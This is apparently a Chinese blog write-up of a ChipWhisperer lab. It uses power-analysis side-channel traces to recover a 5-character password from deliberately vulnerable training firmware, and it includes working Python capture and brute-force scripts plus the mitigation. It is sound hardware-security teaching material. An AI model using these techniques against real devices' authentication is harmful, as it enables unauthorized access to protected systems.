测信道攻击——利用能耗破解密码 Created 2023-05-24 | Updated 2024-10-24
| Post View:
环境配置 硬件设置:
SCOPETYPE: CWLite/CW1200选OPENADC,CWNano选CWNANO
PLATFROM: CWLITEARM/CW308_STM32F3/CWLITEXMEGA/CW308_XMEGA
SS_VER好像没啥差别,直接设置为’SS_VER_2_1’就好
1 2 3 SCOPETYPE = 'OPENADC' PLATFORM = 'CWLITEARM' SS_VER = 'SS_VER_2_1'
相比实验一,这里用一个脚本直接代替连接Scope和一些基本的setup。
1 %run "../../Setup_Scripts/Setup_Generic.ipynb"33
编译固件
1 2 3 %%bash -s "$PLATFORM" "$SS_VER" cd ../../../hardware/victims/firmware/basic-passwdcheck make PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j
把固件写入板子
1 cw.program_target(scope, prog, "../../../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-{}.hex".format(PLATFORM))
字符能耗的比较 定义一个函数cap_pass_trace用来来尝试密码并返回功率迹线:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def cap_pass_trace (pass_guess ): reset_target(scope) num_char = target.in_waiting() while num_char > 0 : target.read(num_char, 10 ) time.sleep(0.01 ) num_char = target.in_waiting() scope.arm() target.write(pass_guess) ret = scope.capture() if ret: print ('Timeout happened during acquisition' ) trace = scope.get_last_trace() return trace
把轨迹线设为3000
1 scope.adc.samples = 3000
cap_pass_trace里的参数就是密码,”h\n”表示密码是一个h
1 2 3 4 5 trace_test = cap_pass_trace("h\n") #Basic sanity check assert(len(trace_test) == 3000) print("✔️ OK to continue!")
以上命令执行完后,发现板子相比之前的实验多了一个红色的灯了,现在是红绿蓝灯都亮了
接下来就是破解密码,首先这里透露说密码是以h开头的,并且长度为5。接下来比较输入’h’和’z’作为密码时的能量消耗波形。
分别获取’h\n’和’z\n’的能量消耗
1 2 trace_h = cap_pass_trace("h\n") trace_z = cap_pass_trace("z\n")
展示’h\n’的能耗波形:
1 2 3 %matplotlib notebook import matplotlib.pyplot as plt plt.plot(trace_h)
对比h和z的能耗图,发现确实有差别,但这个图貌不太好看。。。
1 2 plt.plot(trace_z) plt.show()
上面的波形图太长了,从上面可以发现是在0~500内有变化,我们把轨迹线设为500,这下变化明显多了!
scope.adc.samples = 500
利用能耗图破解密码 接下来把所有字母都跑一遍,看看它们的能耗波差别。
1 2 3 4 5 6 7 8 9 10 11 12 13 %matplotlib notebook import matplotlib.pyplot as pltscope.adc.samples = 500 plt.figure() LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789' for CHARACTER in LIST_OF_VALID_CHARACTERS: trace = cap_pass_trace(CHARACTER + "\n" ) plt.plot(trace, label=CHARACTER) plt.legend() plt.show()
上图颜色重叠很厉害,改成150发现差别明显些了
再改成60,发现很多字母的能耗其实差不多,然而,根据150和60的图发现有条灰色线条最不一样!这条曲线意味着输入了一个正确的密码。根据颜色灰色的是h或者r,结合已知,正确的密码第一个字母就是h,所以这里最不一样的灰色曲线代表的就是字母h!
接下来就是枚举下一个字母了,改下循环里的trace就行
1 trace = cap_pass_trace('h'+CHARACTER + "\n")
哈哈,发现粉色的最不一样,但python画图的这个库不太友好,得肉眼分辨颜色对应的字母
我们改用plotly画图,相比python的画图,它只要鼠标悬浮在某个位置时,就会显示该点对应的曲线信息,这样一来就容易区分是哪个字符了
1 2 3 4 5 6 7 8 9 import plotly.graph_objects as goimport numpy as npfig = go.Figure() LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789' for CHARACTER in LIST_OF_VALID_CHARACTERS: trace = cap_pass_trace('h' +CHARACTER + "\n" ) fig.add_trace(go.Scatter(x=np.array(range (trace.shape[0 ])), y=trace, mode='lines' , name=CHARACTER,text=CHARACTER)) fig.show()
可以推断下一个字母为’0’
如果不知道任何密码提示,要自动破解正确密码,一个简单的方法是用0x00,即空密码和其他输入比较。
1 2 3 4 5 6 7 8 9 %matplotlib notebook import matplotlib.pyplot as pltplt.figure() ref_trace = cap_pass_trace("\x00\n" )[0 :500 ] plt.plot(ref_trace) other_trace = cap_pass_trace("c\n" )[0 :500 ] plt.plot(other_trace)
运行后’c’和0x00几乎重叠了,那么说明c也不是正确密码,所以说要找正确密码就是找和0x00不一样的线条对应的字母
接下来,为了更高效,我们可以枚举所有的字母然后用它们的能量曲线减去0x00的能量曲线,就能很快获得正确密码了!
1 2 3 4 5 6 7 8 9 10 11 12 13 %matplotlib notebook import matplotlib.pyplot as pltplt.figure() scope.adc.samples = 500 LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789' ref_trace = cap_pass_trace( "\x00\n" ) for CHARACTER in LIST_OF_VALID_CHARACTERS: trace = cap_pass_trace(CHARACTER + "\n" ) plt.plot(trace - ref_trace, label=CHARACTER) plt.legend() plt.show()
这样一眼就能看出,灰色的线是最不一样的,这样做差之后被暴露得非常明显了
数值差分破解 还有一种表示和观察方法,将能耗波转化为数值,通过numpy的sum和abs来算数值上的差异
1 2 3 4 5 6 7 8 9 10 import numpy as np ref_trace = cap_pass_trace( "\x00\n") LIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789' for CHARACTER in LIST_OF_VALID_CHARACTERS: trace = cap_pass_trace(CHARACTER + "\n") diff = np.sum(np.abs(trace - ref_trace)) print("{:1} diff = {:2}".format(CHARACTER, diff))
输出如下,正确密码拥有最大的差异值,那么h显而易见比其他的差分大得多得多,h就是正确的密码的第一个字母
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 a diff = 17.154296875 b diff = 9.833984375 c diff = 16.4482421875 d diff = 11.765625 e diff = 11.4013671875 f diff = 15.095703125 g diff = 12.33984375 h diff = 252.572265625 i diff = 9.6181640625 j diff = 16.408203125 k diff = 8.705078125 l diff = 12.8154296875 m diff = 13.9345703125 n diff = 12.439453125 o diff = 9.48046875 p diff = 15.83203125 q diff = 10.2607421875 r diff = 14.9423828125 s diff = 11.76171875 t diff = 10.2802734375 u diff = 9.94140625 v diff = 13.421875 w diff = 11.310546875 x diff = 10.4921875 y diff = 10.4775390625 z diff = 15.0595703125 0 diff = 11.1748046875 1 diff = 14.5146484375 2 diff = 13.677734375 3 diff = 13.3154296875 4 diff = 10.490234375 5 diff = 10.3642578125 6 diff = 9.7861328125 7 diff = 10.240234375 8 diff = 10.2470703125 9 diff = 14.3291015625"
最后,利用差分的方式,每次提取最大值,最后得出正确密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import numpy as npLIST_OF_VALID_CHARACTERS='abcdefghijklmnopqrstuvwxyz0123456789' guessed_pwd = "" for i in range (5 ): ref_trace = cap_pass_trace(guessed_pwd + "\x00\n" ) m=0 c='\x00' for CHARACTER in LIST_OF_VALID_CHARACTERS: trace = cap_pass_trace(guessed_pwd + CHARACTER + '\x00\n' ) diff = np.sum (np.abs (trace - ref_trace)) if diff > 25 : guessed_pwd += CHARACTER print (guessed_pwd) break
正确密码为:h0px3
查看目标板固件中对正确密码处理的源码(在hardware/victims/firmware/basic-passwdcheck目录下的basic-passwdcheck.c文件中)。发现固件对密码错误的处理是直接break跳出循环,这样就会导致相比正确密码能耗的明显差别!而防范这个攻击的方式就是把break注释掉,让循环继续,最后做判断
总结 通过这次实验极大的感受到了硬件安全的魅力所在,从写代码的角度来看,判断密码错误后确实没有必要继续进行判断了,这样能提高效率但也同时留下了非常严重的安全隐患。真的是没有一定安全的系统!!!
Reference Chipwhisperer-Jupyter